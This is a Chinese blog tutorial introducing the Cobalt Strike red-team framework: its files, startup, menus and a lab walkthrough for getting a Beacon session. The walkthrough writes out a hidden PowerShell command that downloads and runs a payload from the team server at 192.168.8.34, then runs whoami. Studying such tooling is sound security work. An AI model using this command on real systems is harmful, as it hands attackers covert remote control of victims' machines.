【渗透测试笔记】之【内网渗透——初探Cobalt Strike】

最新推荐文章于 2025-07-06 16:59:31 发布
原创 最新推荐文章于 2025-07-06 16:59:31 发布 · 334 阅读 · 2 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。

本文介绍了CobaltStrike的主要文件及其功能，如teamserver、cobaltstrike.jar等，并详细阐述了CobaltStrike的启动步骤、面板和菜单功能，包括如何新建连接、设置偏好、创建监听器等。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

拓扑图

在这里插入图片描述

CS文件说明

在这里插入图片描述

文件名解释
agscript展应用的脚本。
c2lint用于检查profile 的错误和异常。
teamserver团队服务器程序。
cobaltstrike 和 cobaltstrike.jar客户端程序。因为teamserver文件是通过Java来调用CobaltStrike 的，所以直接在命令行环境中输入第一个文件的内容也能启动Cobalt Strike 客户端 (主要是为了方便操作)。
logs日志，包括 Web日志、Beacon日志、截图日志、下载日志、键盘记录日志等。
datas用于保存当前TeamServer的一些数据。
update 和 update.jar用于更新Cobalt Strike。

1.启动方式

  1. 准备Java环境
    在这里插入图片描述
  2. 启动服务器端，并设置服务器IP和密码
    在这里插入图片描述
  3. 启动客户端
    在这里插入图片描述
  • 填写团队服务器的IP地址、端口号、用户名、密码。用户名任意，但要保证其没有被用来登录Cobalt Strike服务器。(首次连接会进行指纹检验）
    在这里插入图片描述

2.面板介绍

在这里插入图片描述

3.菜单说明

  1. Cobalt Strike 模块
    在这里插入图片描述
  • New Connection：打开一个新的”Connect”窗口。在当前窗口中新建一个连接，即可同时连接不同的团队服务器( 便于团队之间的协作)。
  • Preferences：偏好设置，首选项，用于设置Cobalt Strike主界面、控制台、TeamServer 连接记录、报告的样式。
  • Visualization：将主机以不同的权限展示出来（主要以输出结果的形式展示）。
  • VPN Interfaces：设置VPN接口。
  • Listeners：创建监听器。
  • Script Manager：查看和加载CNA脚本。
  • Close：关闭当前与TeamServer的连接。
  1. View 模块
    在这里插入图片描述
  • Applications：显示被控机器的应用信息。
  • Credentials：通过HashDump或mimikatz获取的密码或者散列值都储存在这里。
  • Downloads：从被控机器中下载的文件。
  • Event Log：主机上线记录，以及与团队协作相关的聊天记录和操作记录。
  • Keystrokes：键盘记录。
  • Proxy Pivots：代理模块。
  • Screenshots：屏幕截图模块。
  • Script Console：控制台，在这里可以加载各种脚本。（链接）
  • Targets：显示目标。
  • Web Log：Web 访问日志。
  1. Attacks 模块
    在这里插入图片描述

  • Packages
    在这里插入图片描述

    • HTML Application：基于HTML应用的Payload模块，通过HTML调用其他语言的应用组件进行攻击测试，提供了可执行文件、PowerShell、 VBA三种方法。
    • MS Office Macro：生成基于Office病毒的Payload 模块。
    • Payload Generator：Payload 生成器，可以生成基于C、C#、COM Scriptlet、 Java、 Perl、 PowerShell、Python、 Ruby、 VBA等的Payload。
    • USB/CD AutoPlay：用于生成利用自动播放功能运行的后门文件。
    • Windows Dropper：捆绑器，能够对文档进行捆绑并执行Payload。
    • Windows Executable：可以生成32位或64位的EXE和基于服务的EXE、DLL等后门程序。在32位的Windows操作系统中无法执行64位的Payload，而且对于后渗透测试的相关模块，使用32位和64位的Payload会产生不同的影响，因此在使用时应谨慎选择。
    • Windows Executable (S)：用于生成一个Windows 可执行文件，其中包含Beacon的完整Payload，不需要阶段性的请求。与Windows Executable模块相比，该模块额外提供了代理设置，以便在较为苛刻的环境中进行渗透测试。该模块还支持PowerShell脚本，可用于将Stageless Payload注入内存。

  • Web Drive-by
    在这里插入图片描述

    • Manage：管理器，用于对TeamServer上已经开启的Web服务进行管理，包括 Listener 及 Web Delivery模块。
    • Clone Site：用于克隆指定网站的样式。
    • Host File：用于将指定文件加载到Web目录中，支持修改Mime Type。
    • Script Web Delivery：基于Web的攻击测试脚本，自动生成可执行的Payload。
    • Signed Applet Attack：使用Java自签名的程序进行钓鱼攻击测试。如果用户有Applet 运行权限，就会执行其中的恶意代码。
    • Smart Applet Attack：自动检测Java的版本并进行跨平台和跨浏览器的攻击测试。该模块使用嵌入式漏洞来禁用Java的安全沙盒。可利用此漏洞的Java版本为1.6.0_45以下及1.7.0 _21以下。
    • System Profiler：客户端检测工具，可以用来获取一些系统信息，例如系统版本、浏览器版本、Flash版本等。

  • spear phish 模块
    鱼叉式网络钓鱼

  1. Reporting 模块
    在这里插入图片描述
  • 0.activity report：活动报告生成。
  • 1.Hosts report：主机报告。
  • 2.Indicators of Compromise：目标报告。
  • 3.Sessions report：会话报告。
  • 4.Social engineering report：社会工程学报告。
  • 5.Tactics,Techniques,and Procedures：战术技术和步骤
  • Reset Data：重置数据。
  • Export data：数据出口。

4.获取一个Beacon

  1. 打开listener
    在这里插入图片描述
  2. 新建监听器
    在这里插入图片描述
    在这里插入图片描述
  3. 创建payload
    在这里插入图片描述
    在这里插入图片描述
    复制payload到目标执行：powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.8.34:80/a'))"
    在这里插入图片描述
    在这里插入图片描述
    目标主机成功上线，并可以看到靶机的外网IP地址，内网IP地址、监听器、用户名、机器名、是否有特权、Beacon进程的PID、心跳时间等信息：
    在这里插入图片描述

4. 执行shell命令

  1. 右键interact
    在这里插入图片描述
  2. 在beacon>输入shell whoami执行whoami命令（默认回连时间是1min）
    在这里插入图片描述

参考

https://mp.weixin.qq.com/s/dXR0ab4ymJCkArWlIoNG7w

[网络安全提高篇] 一一三.Powershell恶意代码检测 (1)论文总结及抽象语法树（AST）提取
杨秀璋的专栏
03-11 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。这篇文章将详细讲解PowerShell、Powershell恶意代码检测总结及抽象语法树（AST）提取。希望这篇文章对您有帮助，也推荐大家去阅读论文，且看且珍惜。
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器
杨秀璋的专栏
05-14 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了逆向分析之OllyDbg动态调试工具，包括INT3断点、反调试、硬件断点和内存断点。这篇文章将带大家学习安天科技集团首席架构师肖新光老师（Seak）的分享，介绍恶意代码与APT攻击中的武器，包括A2PT的攻击武器、普通APT组织的自研恶意代码、商用恶意代码、无恶意代码作业、开源和免费工具等。作者很少会在标题写“强推”的字样，但这篇文章真的值得学习，也希望对您有所帮助。
Cobalt Strike内网渗透
qq_49694748的博客
01-05 3935
1、端口扫描portscan 2、socket4a代理 3、内网渗透-端口转发 4、内网渗透-bind反弹shell 5、密码抓取hashdump logonpasswords 6、提权elevate 7、进程管理 8、进程注入inject 9、屏幕监控desktop 10、键盘记录keylogger 实验拓扑： 端口扫描 portscan 192.168.2.0/24 1-1000对网段存活的主机进行存活扫描和端口扫描，可以用于内网扫描 或者图形化界面 右...
Cobalt strike
2301_77165542的博客
01-04 1985
仅作学习交流Cobalt Strike 一款GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等等。
Cobalt Strike
最新发布
ALe0721的博客
07-06 389
Cobalt Strike是一款渗透测试神器，业界人称CS神器。早期版本的Cobalt Strike依赖Metasploit框架，如今已经不再使用MSF而是作为单独的平台使用。Cobalt Strike分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。这个工具的社区版是Armitage(一个MSF的图形化界面工具)，而Cobalt Strike大家可以理解其为Armitage的商业版。
cobalt strike
tlucky的博客
05-06 394
1.简介 Cobalt Strike 是一个为对手模拟和红队行动而设计的平台，主要用于执行有目标的攻击和模拟高级威胁 者的后渗透行动。 2.启动团队服务器 Cobalt Strike 团队服务器必须在受支持的 Linux 系统上运行。要启动一个 Cobalt Strike 团队服务器， 使用 Cobalt Strike Linux 安装包中的 teamserver 脚本文件。 3.客户端连接 使用 Cobalt Strike 客户端连接至团队服务器。要启动 Cobalt Strike 客户端，使用对应的的
CobaltStrike（钓鱼攻击工具）
F2444790591的博客
02-10 4528
一、介绍 （1）Cobalt Strike是一款渗透测试软件，分为客户端与服务端，可以进行团队分布式操作，服务端:1个，客户端:N个。 （2）Cobalt Strike集成了功能和模块:端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成。 二、使用（Cobaltstrike4.0） 1、Cobaltstrike 服务端的启动。 （1）开启Cobalt............
Cobalt Strike(学习笔记)
那年烟花终亦冷
06-07 3651
Cobalt Strike简介 Cobalt Strike 是一款GUI的框架式渗透工具，集成了端口转发、服务扫描，自动化溢出，多模式端口监听，win exe木马生成，win dll木马生成，java木马生成，office宏病毒生成，木马捆绑；钓鱼攻击包括：站点克隆，目标信息获取，java执行，浏览器自动攻击等。 Cobalt Strike: C/S架构的商业渗透软件，适合多人进行团队协作，可模拟APT做模拟对抗，进行内网渗透。 注：鉴于作为新人面试会用到这些基础知识，所以把简介也抄过来了。 安装Cobal
cobaltstrike3.12
10-23
cobaltstrike-trial3.12最新试用版path
CobaltStrike V4.zip
03-20
Cobalt Strike is software for Adversary Simulations and Red Team Operations.
内网渗透工具CobaltStrike使用教程详解
05-31 3万+
内网渗透神奇CobaltStrike工具的使用教程，非常适合刚入手的新手，本文讲解了如何启动CobaltStrike，客户端连接团队服务端，配置监听器，生成木马，权限提升，命令执行以及内网横线穿透，插件加载，命令执行等操作，目标信息总结表（自动记忆保存），查看主机的文件和文件夹结构信息，以及利用CobaltStrike进行横向移动等绝大部分的功能，都做了演示和讲解。
神兵利器--Cobalt Strike
Grey的博客
04-10 4205
前言经常看到披露出来APT(Advanced Persistent Threat) 高级持续性威胁报告，据目前我所了解到的有常用两种攻击手法还有更多种手法水坑式攻击和鱼叉式钓鱼邮件攻击手法。其实我也想模仿这样攻击手法在渗透时候遇到有些目标简直是无从下手。很早之前就接触了Metasploit工具内网渗透非常强大，当时用过Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形...
Cobalt Strike 4.9
剁椒鱼头没剁椒的博客
10-10 5441
CS 是Cobalt Strike的简称，是一款渗透测试神器，常被业界人称为CS神器。Cobalt Strike已经不再使用MSF而是作为单独的平台使用，它分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。CobaltStrike集成了端口转发、扫描多模式端口Listener、Windows exe程序生成、Windows dll动态链接库生成、java程序生成、office宏代码生成，包括站点克隆获取浏览器的相关信息等。
CobaltStrike的内网安全
8888的博客
07-05 1512
介绍：CobaltStrike分为服务端和客户端，一般我们将服务端放在kali，客户端可以在物理机上面，或者虚拟机都可以启动服务端，首先创建一个监听（注意，这里要关闭kali的Apache服务，要不然端口占用创建监听不成功）payload选择Beacon HTTP ,HTTP Hosts选择服务器的IP点击save接着我们用CS生成一个payload（Windows exe）,使得我靶机上线：Lisrener选择我们创建的监听服务，点击Launch。
内网渗透之CobaltStrike（CS）
Welcome To Myon'Blog !
01-10 2958
Cobalt Strike是一款内网渗透测试工具，常被业界人称为CS。Cobalt Strike 2.0版本主要是结合Metasploit可以称为图形化MSF工具。而Cobalt Strike 3.0已经不再使用Metasploit框架而作为一个独立的平台使用，它分为客户端与服务端，服务端是一个，客户端可以有多个，可被团队进行分布式协团操作。客户端模式和服务端模式可以在Windows以及Linux上运行这里要注意服务端模式在Windows下运行时有可能会出现一些细小的问题不过影响不大。
Cobalt Strike使用教程一
热门推荐
迷风小白
10-24 7万+
0x00 简介 Cobalt Strike是一款基于java的渗透测试神器，常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用，分为客户端与服务端，服务端是一个，客户端可以有多个，非常适合团队协同作战，多个攻击者可以同时连接到一个团队服务器上，共享攻击资源与目标信息和sessions，可模拟APT做模拟对抗，进行内网渗透。 Cobalt Strike集...
Cobalt Strike 4.7：商业渗透测试与内网攻击模拟平台
资源摘要信息:"Cobalt Strike是一款专业的渗透测试软件，它是由Java编写，采用C/S架构设计的商业软件。该软件的主要功能是模拟APT（高级持续性威胁）攻击，进行内网渗透测试，并支持团队协作，模拟对抗。它的主要...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值